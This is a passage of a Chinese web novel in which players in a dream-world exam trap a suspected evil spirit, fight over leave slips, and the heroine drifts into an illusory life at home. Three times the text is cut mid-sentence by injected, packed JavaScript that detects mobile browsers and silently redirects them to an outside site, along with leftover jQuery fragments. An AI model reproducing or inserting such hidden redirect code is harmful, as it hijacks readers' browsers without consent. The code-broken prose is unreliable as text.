“嗯!”俞小澄点头,“不过第二道题时,他说他选择全凭心情。” 白羽楠不可否认,当时在规则限制下,每个人做出的选择未必出自真心,不过她也没法当做没听过。 “如果他做出的选择就是他自己的想法,那是不是说明,记忆之门的钥匙极有可能同声望与名誉相关?” 俞小澄觉得她说的有理,但心中仍有疑惑:“可,声望与名誉,这种抽象的东西要上哪儿找去?” 一旁的陈奇听到二人谈话,忍不住插嘴道:“小俞妹子,你不是说这场梦境的目的就是为了决出优秀学生吗?会不会是校长颁发的奖状、奖杯或者证书什么的?” “啊!”一语惊醒梦中人,俞小澄惊呼一声站了起来。 她赶紧喊来招财进宝,让他们再去校长办公室探一探,看看有没有优秀学生的奖品。 招财进宝闻言,爽快点头答应,立刻穿过墙壁飞走了。 俞小澄好像看到了一丝希望,如果真是如此,她可能很快就能送吴樊祐离开穷途旅店了,兴奋之余又混入一丝忧伤,她忙将其甩出大脑。 扭头看了一眼吴樊祐,这个心大的人还一脸悠哉地头靠墙壁睡觉。 吴樊祐的问题或许可以解决,可剩下的人要如何离开梦境呢? 俞小澄又开始苦恼起来,记忆之门的线索或许有了,可消灭恶灵的道具又该去哪儿找呢? “要不然让进宝附身一口把恶灵吃掉吧。”俞小澄在心里盘算着。 忽而想到第五道考题——认可的世界秩序。 她记得当时那人第一个选择了“规则决定一切”,这个答案竟莫名地与梦境法则重合在一起,不知是偶然,还是意有所指。 仿佛在向她证明,看见了吧,他就是恶灵。 那如果用他认可的规则打败他呢? 俞小澄的视线下意识地飘向走廊尽头的食堂大门,一个大胆的想法从她脑子里蹦了出来。 等到食堂开门,二十位考生陆续步入其中。 俞小澄进门的第一件事,便是确认墙上的宣传海报。 这次的宣传标语全都被染绿——“糖分即正义”。 俞小澄心中有了个坏主意,她将吴樊祐拉到一旁低声耳语,将自己的计划告诉了吴樊祐,并希望吴樊祐可以协助自己。 “你确定要这么做?”吴樊祐听完她的计划,脸上露出些许迟疑。 俞小澄坚定地点了点头,道:“嗯,总要冒险一试,要么排除他的嫌疑,要么杀掉恶灵,万一呢?哪种结果看起来都不亏。” “学姐,你是不是有些心急了?如果他不是,就是杀掉NPC……好像不是你的风格。”吴樊祐微微皱眉。 被他这么一说,俞小澄脸上一红,仿佛被人看到了自己的劣迹一般,羞愧难当。 俞小澄扭头转移视线,不想让吴樊祐看到自己狼狈的模样,无奈连耳垂也跟着红了起来,又急忙用手遮挡。 她轻咳一声,试图缓解自己的尴尬,然后故作镇定道:“你不想帮就算了,我去找小白。” 说着拔腿就跑,可手腕忽然一紧,一股力将她拉回到吴樊祐身前,那人扣着她的手腕,无奈一笑:“帮,学姐的忙,我怎么可能不帮。” 二人谋划完毕,等到食堂窗口开放,俞小澄独自一人走向面食窗口,望着里面摆了一桌的调料,向工作人员讨了一小撮细砂糖,用纸小心包好。 然后她朝吴樊祐递了个眼神,便独自在食堂里寻找起那个裤腿上留着墨迹的无脸考生的身影。 很快,她就在一个角落里找到了那人,他似乎并不合群,孤身一人坐在那里,点了两菜一汤的套餐,甚至没有要米饭,明显里面都不含糖分。 俞小澄咽了咽唾沫,深吸一口气,壮着胆子走到了那人面前。 在问过对方自己是否可以坐下,不等对方拒绝,俞小澄便厚着脸皮坐到了那人对面。 不过,那人似乎并没有因为俞小澄的失礼而展现出情绪波动,只是维持着自己的速度,慢悠悠地享受着属于自己的晚餐。 “你好,我看你每次好像都第一个看破规则,可以跟你组队吗?”俞小澄强行装出一副崇拜的迷妹模样。 那人微微抬头,语气不怒不喜,“没什么大不了,我不习惯跟人组队。” “为什么呢?”俞小澄没话找话套着近乎。 “不为什么,不喜欢,这世界只要在规则中胜出就好,人情世故?大可不必!”那人平淡地回道。 见对方没有赶走自己的意图,俞小澄便得寸进尺追问:“那个,我叫俞小澄,还不知道你叫什么名字。” “我……”那人迟疑了片刻,忽然冷冷道,“我干嘛要告诉你,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396815|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道我的名字,就在考试中击败我,如果你能登上优秀学生光荣榜,兴许我会高看你一眼,告诉你我的名字。” 俞小澄总觉得触碰到了什么隐藏在梦境深处的秘密,小心翼翼地问:“优秀学生的荣誉对你来说这么重要吗?” 那人不答反问:“你认为什么能排在名誉与声望之前?人际关系?” 俞小澄微微一怔,心中生出些许诧异,就好像对面这个人当时看见了自己的选择,低声回应:“人活于世,总免不了与人交际,不是吗?” 那人冷哼了一声,充斥着对她回答的不屑,“只要有了名誉与声望,又何必在乎那些被你踩在脚下的人?人性,那是最不值得期待的东西。” 对于对方偏执的言论,俞小澄一时不知该如何回应。 不过此时俞小澄敢肯定,白羽楠的猜测没错,他在回答考题时全都出自真心,绝非凭心情的随意选择。 此人的恶灵嫌疑不断上升,俞小澄偷偷冲远处一直观察着自己的吴樊祐传递了一个行动的眼神。 在收到她的指示后,吴樊祐慢悠悠地走到了那人身后,一条胳膊随意地搭上了那人肩头,然后毫不客气地坐到旁边位子上,一副自来熟的模样搭起话来,吸引了那人全部的注意力。 “兄弟,我学姐想跟你合作,我劝你不要不识抬举。” 在吴樊祐强硬的气势下,这个不将任何人放在眼里恶灵嫌疑人,不知为何,居然看上去拘谨了些。 “我、我若不同意,你能拿我怎样?”那人的声音流露出不易察觉的颤抖。 “喂,吴樊祐,你到底有多适合当流氓啊!怎么把恶灵都唬住了?” 俞小澄在心里呐喊。 趁着二人装腔作势的对峙,俞小澄悄悄将那一撮细砂糖倒进了桌上汤碗里。 看见俞小澄得手,吴樊祐拍拍那人的肩膀,正言厉色道:“你不会真认为自己在这个世界是无法被击败的吧?” 那人一直盯着吴樊祐,声线紧绷地质问:“你究竟是什么人?” 吴樊祐轻蔑一笑:“我?一个普通玩家罢了,别紧张,时间还长,你可得加把劲。” 说罢,吴樊祐功成身退,只余俞小澄还坐在原处,心中感叹着吴樊祐演戏的功底。 “呵呵,你别在意,他说话就那样,总是没轻没重的,其实我们只是想跟强者合作而已。”俞小澄看似淡定地安抚着那人不安的情绪。 而那人却没头没尾地对她说了句奇怪的话:“你最好离那个男人远一些。” 俞小澄大惑不解:“为何?” 那人却不再搭理俞小澄,自顾自埋头解决晚餐。 俞小澄实在找不出话聊,为了避免继续尴尬下去,便说了告辞,随即走到不远处,暗中观察起那人的动静。 心中焦急地等待着那人将添加了细砂糖的汤喝下肚,她实在期待究竟会出现怎样的结果。 这种手段到底能不能杀死恶灵? 如果他不是恶灵又该如何? 是不是不该如此冲动? 是不是应该先找到记忆之门的钥匙? 如果他死了,岂不是不能送吴樊祐离开梦境了? 各种思绪交织碰撞,令她心绪不宁,直到看见那人端起汤碗靠近唇边。 可还来不及欣喜,俞小澄看见那人将汤碗高高举起,摔得粉碎,周身腾起无边的怒意…… 143. 梦境(五) “为什么连你也要与我作对?果然,人性是最不值得相信的垃圾!你也跟他们一起去死吧!” 不知从何处传来一声怒吼,直穿入俞小澄的大脑里,令她浑身战栗,心道不妙。 只在刹那之间,俞小澄感觉四周景象飞速倒退,等回过神,自己已经坐在阶梯教室里,讲台上站着与昨日相同的人形机器人,而一众考生分散四处,全都显得很茫然。 俞小澄环顾四周,并没有在自习室中寻到恶灵嫌疑人的身影,再低头看了看手表,时间竟不知不觉来到了晚上八点。 “怎么……突然开始自习了……” “喂,不是吧,今天是什么主题啊?” “该死,不会又要看书吧?桌上也没书啊?” …… 在嘈杂的议论声中,机器人的眼睛亮起了光,缓缓扫过全场,然后毫无感情地宣布:“自习时间到,欢迎各位考生,请务必保持清醒。” “保持清醒?要我们干嘛?坐这里发呆?”方英彦低声向其他人寻求着解释。 而其他人只是紧张地盯着讲台上的机器人。 只见机器人从铁皮胸腔中拿出几张纸条,摆在了讲台桌上,继续慢悠悠地说道:“本次自习,贴心地为各位准备了假条,只要赢得假条,便可以不参与今晚的自习。” 众人闻言心中窃喜,没想到今晚还有特别福利,为考生提供了跳关捷径,几乎所有人都跃跃欲试。 自信心爆棚的人追问着赢得假条的方式,而戒备心强的人则在担心未能获得假条会不会有惩罚机制。 对此疑问,机器人十分善解人意地作出了解答:“别急,假条有限,只有三张,不限获取手段,只要写上自己的名字并交到我手上,便算胜利。至于未能拿到假条的人,不会有惩罚,只是得继续留在这里参与自习。” “就这么简单?”单浩言一脸质疑地望向俞小澄等人,他的眼神仿佛在问——会不会是圈套? 就在室内考生尚在犹豫之时,陈奇已经毅然站起身,兴冲冲地往讲台走去,看那架势,对假条势在必得。 他一行动,房间内立刻躁动起来,在场男生纷纷起身,谁也不想落于人后,争相恐后涌向讲台,仿佛一场乱斗即将拉开帷幕。 这场比赛明显对女生不利,只能站在原地干着急,既想争夺假条,又害怕挤入人群受伤。 当然也有例外,有两三人胆子大的女生冒险冲入了抢夺假条的阵营中,似乎对她们来说,比起留下来接受自习的折磨,更愿意与其他考生硬拼一把。 前台附近已经沦为战场,考生们为了争夺假条大打出手,毫不留情。 留在阶梯座位上的人则显得过于谨慎,俞小澄、白羽楠便是如此,她们只是远远观望,并没有上前的打算。 “我怎么感觉这假条就是为了骗大家自相残杀的陷阱?”白羽楠小声发表着自己的看法。 俞小澄很难不赞同,看现在硝烟弥漫的自习室,何尝不是一种折磨人的方式呢? “恶灵应该是发现我在他的汤里加了糖,才将时间快进,现在互斗的场面恐怕正是他想要的,为了报复吗?我觉得,还是不要掺和的好。”俞小澄理智地梳理着自己的思绪。 白羽楠点了点头:“恶灵的身份已经确定了,不过好像有点打草惊蛇了,他甚至不出现在自习室,今后他要是一直躲着,我们又该如何呢?” 俞小澄有些难为情:“是我莽撞了,不过那人对荣誉异常执着,我觉得他还会继续参与考试,明天一定会有机会的。” “嗯,我相信小澄姐。”白羽楠言辞肯定。 吴樊祐的声音突然出现在身旁:“咳,不如先想想今晚怎么过,明天的事明天再谈。” 俞小澄和白羽楠不约而同将视线移到了他身上,只见吴樊祐正漫不经心地在桌椅和地上搜寻着什么。 “你就会说风凉话,要不你去把三张假条抢过来。”白羽楠一脸鄙视地怼道。 “抢是肯定会抢的,不过还不是时候。”吴樊祐的回答让人猜不透他的想法。 白羽楠的目光紧随吴樊祐移动,始终观察着吴樊祐的一举一动,终是忍不住好奇问道:“你到底在找啥?” 吴樊祐闻言抬起头来,眉开眼笑地回道:“找笔呀。” 白羽楠脸上写满不解,问:“找笔干嘛?” 吴樊祐露出一个耐人寻味的笑,没有回答白羽楠的问话,而是埋头继续在自习室内搜寻,一排接着一排,从前往后,仔仔细细,不遗漏任何一处。 俞小澄看看讲台附近打得不可开交的人,又看看悠闲地探索着自习室的吴樊祐,两种天差地别的场景出现在同一个房间内,感觉异常割裂。 可在这种割裂的画面中,俞小澄仿佛看到一道电光,将两者击穿,融合到了一起。 “机器人只给了假条,没有给笔。”俞小澄低声念叨。 “什么意思?”白羽楠依然无法理解。 俞小澄提示道:“还记得机器人说了什么吗?抢到假条,写上名字,再交到它手里,才算真的胜利。” “啊!”白羽楠恍然大悟道,“所以,即便那些人抢到了假条也没用,好家伙,那我们也去帮忙!” 俞小澄同意,二人便紧随吴樊祐的步伐,在自习室四处寻找笔的下落。 约莫过了十来分钟,俞小澄还真在一扇窗户的缝隙中发现了一支签字笔。 而此时,讲台前争抢假条的人似乎也终于分出了胜负。 地上横七竖八躺了一堆人,蜷缩着身子,翻来覆去,哀嚎不已,显然受伤不轻,其中就有单浩言和方英彦。 机器人的身旁还站着取得胜利的三个人,每个人脸上都挂了彩,但是手持假条,笑容得意,而其中一人正是陈奇。 三人将假条递给机器人,机器人眼睛里射出一束绿色的光,依次从三张假条上扫过,然后光束熄灭,机器人又没了动静。 “喂!干嘛?宕机了?耍劳资喃?”陈奇用手指敲着机器人的脑袋,神情气恼地嚷道。 其他二人也是一脸茫然,不知道究竟发生了何事。 俞小澄将签字笔递给吴樊祐,小声问道:“你不会是想这个时候再去抢假条吧?” 吴樊祐冲她眨了眨眼,一副心照不宣的表情,接过笔,慢悠悠地往讲台方向走去。 只见他一脸淡然地从地上哀嚎的人身上跨过,若无其事地走到了三位胜利者的身后,平静地说了句:“交出来吧,我的假条。” “哈?你是来搞笑的吗?” “想抢假条?那要问我的拳头答不答应!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13418992|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那两个不认识吴樊祐的无脸考生,傲慢地冲吴樊祐叫嚣着,然后双手握拳,将指关节捏得咔咔作响。 陈奇一脸苦相,看到吴樊祐有些心惊,下意识地往后退了一步,嘴里讨好道:“吴哥,不至于吧,就我们这关系,你还抢我的,是不是太不近人情了?这两人的归你,你看,你一张,小俞妹子一张,不是挺合适吗?” 若让吴樊祐从无脸考生的手上抢假条,俞小澄感觉不到一点负担;可从陈奇手上抢,俞小澄多少感觉不太厚道。 但是,要她丢下白羽楠,与吴樊祐逃跑,她更加做不到。 如此想想,她宁愿委屈陈奇。 按照她对吴樊祐性格的了解,她猜吴樊祐大概率根本不会理睬陈奇,正常的流程大抵是直接硬抢。 果不其然,与她猜想的一样,吴樊祐根本不在意陈奇的示弱,陈奇的话音刚落,他就迫不及待地动起手来。 只见吴樊祐一个过肩摔将其中一个无脸考生放倒,并朝着面门补上一记重拳,那人瞬间捂脸哀嚎,起不了身了。 另一人见状骂骂咧咧往他身上撞,他灵活闪避,然后一脚将人踹倒,不等人爬起来就以膝盖压住对方,然后双手扣住对方手腕往后一掰,随着胳膊发出一声脆响,身下的人开始鬼哭狼嚎着求饶。 吴樊祐抬眼看向拔腿想逃的陈奇,厉声吼道:“要么交出假条,要么我把你腿废了!” 陈奇瞬间停下脚步,回头看了看地上惨叫的二人,一脸幽怨地骂道:“吴哥,你特么是真的绝,行,算我倒霉!你特么赶紧找到门离开吧!求求了!” 说罢,陈奇气愤地将假条往讲台桌面上一拍,万般无奈地走回了座位上。 吴樊祐又依次从地上二人手上搜刮到另外两张假条,然后悠哉地走到桌前,将三张假条叠好,气定神闲地在假条上写下名字,最后递到机器人面前。 机器人接过假条,眼睛里再次射出绿色的光,依次扫过三张假条,然后将假条收回了铁皮胸腔内,高声宣布道: “三张假条已使用,自习即将开始,请考生吴樊祐立即离开自习室。” 随着机器人的声音响起,自习室的大门自动开启,吴樊祐冷着一张脸向门外走去。 “啊,小澄姐,快跟上。”白羽楠回过神来,急忙拉着俞小澄的手,往大门方向跑去。 可二人刚到门边,就被一道激光阵拦了下来,然后看着吴樊祐独自一人迈出房门,留下一个毅然决然的背影,没有一句解释,也没有一次回头。 吴樊祐双手握拳站在门外,自习室的大门在他身后缓缓关闭,而门里的两双眼睛无比震惊。 “吴樊祐?你在干嘛?你没有写小澄姐的名字?” 在大门闭合前,白羽楠惊得已经没了脾气的声音向门外的身影飞奔而去,却始终没有得到一句回应,最后被关门声淹没。 身前的激光阵随之消失,沉默是俞小澄如今唯一能表达情绪的方式。 俞小澄曾害怕过,万一吴樊祐放弃白羽楠,那她只能选择留在自习室陪白羽楠,但吴樊祐没有让她失望,他将三张假条全部收入囊中。 可俞小澄从来没想过,吴樊祐抢了三张假条,却连她的名字都没有写上,其实他要放弃的哪里是白羽楠,她才是真正被放弃的那个人。 144. 梦境(五) 俞小澄忽然觉得自己有些可笑,一厢情愿地以为自己是对方的默认选项,却从未怀疑过自己在对方心里的重量。 她终究是高看了自己,或许是来到穷途旅店后,吴樊祐的熟络让她产生了错误的认知。 她忍不住笑了起来,笑得心里生疼,也许是自嘲,也许是无奈,也许是掩饰…… 脑子里一团乱麻,到最后,她自己都分不清自己究竟是悲是喜了。 白羽楠一脸担忧地望着她,不知所措地轻抚她的后背,道:“小澄姐,男人都靠不住,没什么好在意,你别难过,还有我陪着你,我会保护你的!” 这句话如同暖流一般,温暖着俞小澄逐渐冻结的心,她强挤出一丝笑,回应着对方的好,感谢的话还未说出口,忽然天花板上长出一排排喷气管道,白色的雾气自喷口涌出,瞬间将自习室笼罩。 房间里的考生纷纷捂住口鼻,可已然来不及了。 俞小澄前一秒看到白羽楠在眼前一边甩着脑袋一边摇摇晃晃,下一秒,只觉眼皮一沉,便彻底失去了意识。 * 迷迷糊糊中,俞小澄感觉身子在摇晃,脑袋沉甸甸的,随着晃动往下沉,突然撞上了玻璃窗,发出嘭的一声巨响。 “嗷!” 俞小澄发出一声哀嚎,捂着头,从睡梦中惊醒。 这一觉睡得有些懵,她扭头环顾四周,发现自己正坐在大巴车上,周围的乘客正向她投来异样的眼光。 俞小澄不好意思地坐正身子,偏着头,看向窗外倒退的田野风景。 这才想起自己正坐在回老家的车上,此行的目的是处理母亲的后事。 想到这里,心情不免沉重了几分。 不知何时睡着了,好像做了一个很长的梦,可是细想之下又回忆不起梦境的情节。 大巴车在乡间小路上飞驰,一直开到夕阳西下,才抵达目的地。下车后,俞小澄步行半小时,才终于回到了阔别已久的老家。 走进院子,里面是一栋两层小楼,看上去已经有些年头,外墙破损脱落,房子里没有点灯,在夜色中稍显阴森。 俞小澄站在空无一人的院子里不知何去何从,这个家里已经没有人会出来迎接自己。她曾经想要努力逃离的地方,如今却是想回也回不去了。 心中怅然若失,她将行李箱随意扔弃在一旁,然后一屁股坐在地上,伸展四肢,摆出一个大字,就这么躺在了院子里。 空中繁星闪烁,看上去十分热闹,而夜空下的她,只剩孤身一人。没有工作,没有朋友,没有亲人,她感觉人生好像失去了活下去的意义。 正在胡思乱想着,说话声与脚步声渐进,两个女人打着手电筒踏进了院门。 俞小澄猛然坐了起来,用手遮挡着刺眼的电筒光,一脸诧异地望着来人。 “咦,小澄,你已经回来了呀!” 俞小澄听出,这个略显尖锐的声音正是她小姨。 “咳咳咳,瞧你把孩子叫回来干嘛,还浪费这路费!” 一个浑厚的声音响起,俞小澄只觉鼻子一酸,苦涩冲红了眼眶,她哽咽道:“妈?你不是……” 小姨发出一阵刺耳的笑声,快步走到俞小澄面前,抓起俞小澄的手,一边轻拍一边说道:“哎呀,都怪我心急了,听到病危,我就以为……呵呵,后来我一直给你打电话,你这孩子也不接。” “给我打电话?”俞小澄一头雾水,从包里翻出手机查看,当真有二十来通未接来电。 她一点印象都没有,估计自己归家心切,在车上完全没有注意到。 将人送到后,小姨告辞离开,只留下母女俩。 母亲要替俞小澄拿行李,被俞小澄拦了下来。她略感别扭地提醒母亲多休息,不要太劳累,然后自己上前拉着行李箱往屋子里走。 母亲跟在身后,关心地问:“还没吃饭吧?要不给你煮碗面?” “不用,路上吃过了。”俞小澄随口说道,其实她并不饿,更多的还是不想麻烦母亲。 “一路肯定很辛苦,回去洗个澡,早点休息吧。” 母亲的关怀触动了俞小澄内心柔软的地方,怀念,感动,却不知为何又带着些许陌生感,俞小澄觉得大概自己真的离家太久了,竟会有些不习惯这样温柔的母亲。 有时记忆就是这么奇妙,对有的人只记得好的一面,对有的人又只记得坏的一面,就比如她的母亲,她最多的感情记忆是压抑与窒息。 母亲的人生有太多沉重的东西,活得很艰辛,所以对俞小澄寄予厚望,总将自己不曾拥有的人生视为俞小澄应该奋斗的目标。 考上好的大学出人头地,找一份体面的工作,嫁一个有钱人,过上与母亲截然不同的人生。 无尽的说教令俞小澄感觉窒息,于是,她遵照母亲的想法,努力考上了大学,却不是为了让母亲脸上有光,而是从此逃离母亲的掌控。 这一逃,便逃了九年。 俞小澄舒服地洗了个澡,回到自己的房间。 九年未回,房间里意外很干净,想来母亲时刻都有打扫,心中多少有些过意不去。 躺上床,俞小澄感觉到久违的放松,好像迷路了许久,终于找到了出路,可以彻底放下所有杂念,什么也不用去想,好好睡上一觉,至于明天怎样,等天亮了再考虑。 黑暗中,俞小澄听到一些声响,很弱,不知来自哪里,又像是一阵幻听。 俞小澄从床上坐了起来,竖起耳朵感受着周围的动静,却又什么都没听见,屋外的风轻轻吹动窗帘,她觉得自己又犯了敏感的毛病。 “九年不回来,连床都不认了么?” 俞小澄低声自嘲一句,随后安然入睡。 迷迷糊糊中,俞小澄听到有人叫自己,是个女子的声音,听上去似曾相识,仿佛就在窗外,拍打着窗户,显得十分着急。 俞小澄猛然惊醒,环顾四周,一切风平浪静,黑暗之中,只有自己急促的呼吸声。 怎么一回来就做恶梦了? 俞小澄擦了擦额头和脖子上的冷汗,有些不放心地向窗户望去。 窗户半开着透气,凉风时不时会卷动窗帘,落在窗帘上的不知是什么影子,看得人心头一紧。 她的房间在二楼,怎么可能有人在外面拍打自己的窗户呢? 一丝恐惧袭上心头,她不敢走到窗边确认那影子的来源,脑子里涌现的全是恐怖场景,虽然一般来说都是自己吓自己,可她不想揭秘。 俞小澄下了床,披上外套,径直离开了房间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430189|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到了隔壁母亲的房间,敲了敲门,然后被一脸诧异的母亲迎了进去。 她撒着娇,钻进了母亲的被窝。 “你这孩子,咋想着来跟我抢床睡了?”母亲的声音没有不悦,只是无限的宠溺和关心。 “嘻嘻,做恶梦了。”俞小澄随口说道。 母亲过来拍了拍她的屁股,嘴里打趣:“这么大个人了,还能被恶梦吓破胆?梦到什么了?” 见母亲没有赶走自己的意思,俞小澄便嬉皮笑脸地将母亲拉进被窝,还贴心地为其盖好被子。 “就梦到你丢下我一个人走了,我到处找你,找啊找啊,然后就被吓醒了。” “嗐,你说你这脑子一天到晚装了些啥!”母亲一边笑着,一边敲了敲俞小澄的额头。 俞小澄故意喊疼,然后假意报复,对母亲实施了挠痒攻击,二人仿佛回到了很多年前,打闹嬉戏。 等到闹够了,母亲才装出一副严肃的样子,让她赶紧睡觉。 黑暗中,热闹归于平静,母亲的声音如清风传进耳朵里:“这次回来了,就留下吧,家里什么也不缺,我们这小地方虽比不上大城市,可好歹住在家里,什么都方便些,也没有经济压力不是?” 俞小澄听着这些话,只觉心中积攒多年的委屈顷刻化为一滩苦水,顺着眼角流下,浸湿了枕巾。 “嗯……不走了……”她从梗塞的喉咙中挤出几个不太清晰的字。 或许,她终于不用再逃避,承认自己的平庸,坦然接受自己不被喜欢的个性,就在亲人身边,寻找一条不太折磨自己的道路。 俞小澄在这样的思绪中,安然睡去。 呆在这里感觉也挺好的。 俞小澄选择留在老家,母亲也似乎有了改变,生活虽然平淡,但不再有心理负担,母女两人可以坦诚交流自己的想法,也不会再将自己的希望强加于对方身上。 曾经对俞小澄看不上眼的小姨也转了性子,竟也亲切可爱,善意相待。 没有工作的她在小姨开的杂货店里帮忙,报酬虽不算丰厚,但足以糊口。 后来在小姨的介绍下,俞小澄认识了一个普普通通的男人,谈不上喜欢,也谈不上讨厌,二人以结婚为目的交往,只是步入大多数人的必经之路罢了。 偶尔夜深人静时,俞小澄会想起曾经对某人动过心,可不知为何这份心动的回忆竟充斥着苦恼的味道,每每想起,总是愁苦郁结,难以消解。 然而她已经记不得那人为何会让自己如此难受,并且今后的日子也不再会有那个人,她会在这条平淡却省心的人生道路上一直走下去。 结婚,生子,慢慢老去……谈不上开不开心,只是得过且过,放弃思考而已。 不过,每个夜晚,俞小澄总在半梦半醒之间听见敲打窗户的动静,然后感觉有个女子唤着她的名字,声若蚊吟:“小澄姐,快醒醒……” 但每次睁开眼,那个声音似乎又消失了,宛如幻觉。 不知为何,俞小澄并不觉得恐惧,可她也不愿意去探寻声音的真相,每次醒来,她都自动无视那种虚无缥缈的感觉,转个身,倒头继续睡。 直到有一日夜里,她如常从睡梦中惊醒,却发现一个黑影笔直地站在床边,并低头盯着自己。 145. 梦境(五) 俞小澄感觉手脚冰凉,呼吸停滞,脑子猛然坠入无所适从的混沌,看着眼前一动不动的黑影,自己也不敢动弹。 站在她面前的究竟是个什么玩意儿? 俞小澄一时搞不明白,但是从黑影随风飘舞的长发可以判断出其女性身份。 难不成是女鬼? 对方一直没有动作,俞小澄那颗狂跳不已的心逐渐平静下来,似乎危险并未逼近,可这黑影出现的目的又是什么呢?她不禁好奇起来。 “你……深夜造访……是有什么冤屈吗?”俞小澄做了许久思想斗争,终是开了口。 一个耳熟的声音幽幽传来:“我要走了。” “……哦……好……”俞小澄一时有些莫名其妙,心想这女鬼半夜出现,就为了告诉自己要走,还真是不见外…… “我说过要陪你,可我可能要食言了,对不起。”女鬼说话的语气有些无奈与力不从心。 俞小澄更是茫然,她不记得跟谁有过相伴的约定,这房子她九年未回,何时跟这里的地缚灵绑定了这种离奇的关系?可她哪里敢得罪女鬼,于是不痛不痒地安慰道:“没、没关系,天下无不散之筵席,你慢走,不送嗷。” 在俞小澄说完这句话后,女鬼久久没了回应,却一直杵在床前,也不见消失。 俞小澄盯着她许久,渐渐没了耐心,索性翻个身,无视背后沉默的影子,大胆地继续睡了过去。 这一觉便睡到了天亮,等她坐起身再看向昨夜女鬼站的位置,哪里还看得到人影,不由得感觉那不过是睡迷糊了产生的幻觉,又或者那一幕只是出现在自己的梦里。 可不知道为何,心里空落落的,道不清缘由,就像是原本拥有的某种美好收藏,突然有一天不知所踪了,你无法想起来具体是什么,却清楚地知道就是少了一块。 平淡的日子还在继续,从那天起,俞小澄再未在夜晚听到奇怪的敲窗声,也再未听到有谁低声呼唤自己,竟有些不习惯了。 后来几日,俞小澄过得浑浑噩噩,时常失神,连母亲看了都担忧起来。 母亲认为她生病了,连她自己都开始这么认为,兴许是那晚被女鬼夺去了魂魄,才会总回想起那一幕,想知道那个女鬼究竟是怎么一回事。 这一日,母亲替俞小澄向小姨告假一天,并让俞小澄那相亲男友陪她去医院检查,俞小澄顺从地答应了,坐上男友的车,出发前往城里大医院。 一路上,看着窗外倒退的风景,俞小澄有些迷惘,同样的场景,让她回想起了回老家的那一天。 她留在这里多久了呢? 俞小澄努力在脑袋里回想,竟觉得记忆有些模糊。 转头看了看神情专注凝视前方的男友,一股说不清道不明的陌生感油然而生。 “你为什么会同意跟我交往呢?”俞小澄忽然没头没脑地问道。 男友呵呵笑了起来,反问道:“你又为何会答应呢?” 俞小澄一脸严肃地回答:“对啊,我为何会答应呢?我没有理由答应啊……” “傻瓜,你又在胡思乱想什么喃?”男友似乎觉察到气氛的不对劲,将车停到路旁,然后转身面向俞小澄,柔声安抚道,“我们交往,因为我们彼此合适。” “是啊,怎么会不合适呢……” 俞小澄低声自言自语,男友的话忽然让她意识到,她现在所经历的一切,都跟她所希望的一般,极度合适。 就像是照着她的设想,强行构建的世界,一切都符合她的期望值,所以才会如此合适。 母亲,不再强加不切实际的希冀;小姨,不再傲慢轻视;生活,得过且过;工作,能果腹就行;男友,普通寻常,适合自己足矣。 俞小澄一直隐隐有这样那样的违和感,可她不想看清,宁愿沉迷其中,总有些东西,这个世界希望从她脑中移除,而她也不愿再想起。 可偏偏有个女鬼出现在她面前,对她说了莫名的话,让她那颗祈求安稳的心再次躁动起来,或许她并不是想全都忘掉。 至少她想弄清,那女鬼是谁。 而这种不安分的心情,对周遭的一切产生了微妙的影响,让每一个人都变得陌生起来。 “真的适合就好吗?”俞小澄坦言道,“可我心里其实不是这样想的……我并不喜欢你,又如何能做到就这么终此一生呢?我不过是在骗自己,怎么把你也骗了?” 对面没有过激的反应,而是平静地问道:“你希望我是什么样?” “所以,我希望你是什么样,你就会是什么样吗?”俞小澄一阵苦笑。 对面语气和善:“嗯,我尽力。” 体贴的话并没有温暖俞小澄的心,她坐在副驾,彻底闭上了眼,这句话跟她设想的一样,就像为她量身定制的台词。 而对方的脸在记忆中也变得模糊不清,她从未设想过,大学毕业告别初恋后,自己会再喜欢上什么样的人,她只觉得,应该是个像自己一样普通的人,这样,便再没有苦于不敢诉说情愫的情况发生。 所以,这个男人出现在她的世界中,完美迎合了她的想象。 可从始至终,她没能放下过吴樊祐,或许因为还没开始就结束了,所以才会意难平。 如果可以,她当然希望是那个心心念念的人陪自己一路走下去。 “这样不对……也许我们……” 俞小澄睁开眼,似乎终于下定决心,想要结束这种自欺欺人的关系,可扭头看到的人已经变成了吴樊祐的模样,这让她当场愣了神。 怎么回事? 俞小澄的脑子又一次坠入混沌空间里,无数的记忆仿佛在离自己远去,她想要抓住,可无奈扑空,然后遭到记忆的反击。 “怎么了,小澄?阿姨说你最近不对劲,你是不是有什么心事?还是哪里不舒服?我们还是赶紧去医院吧,有什么事,等回程再说也不迟。” 吴樊祐说罢,又启动了车子。 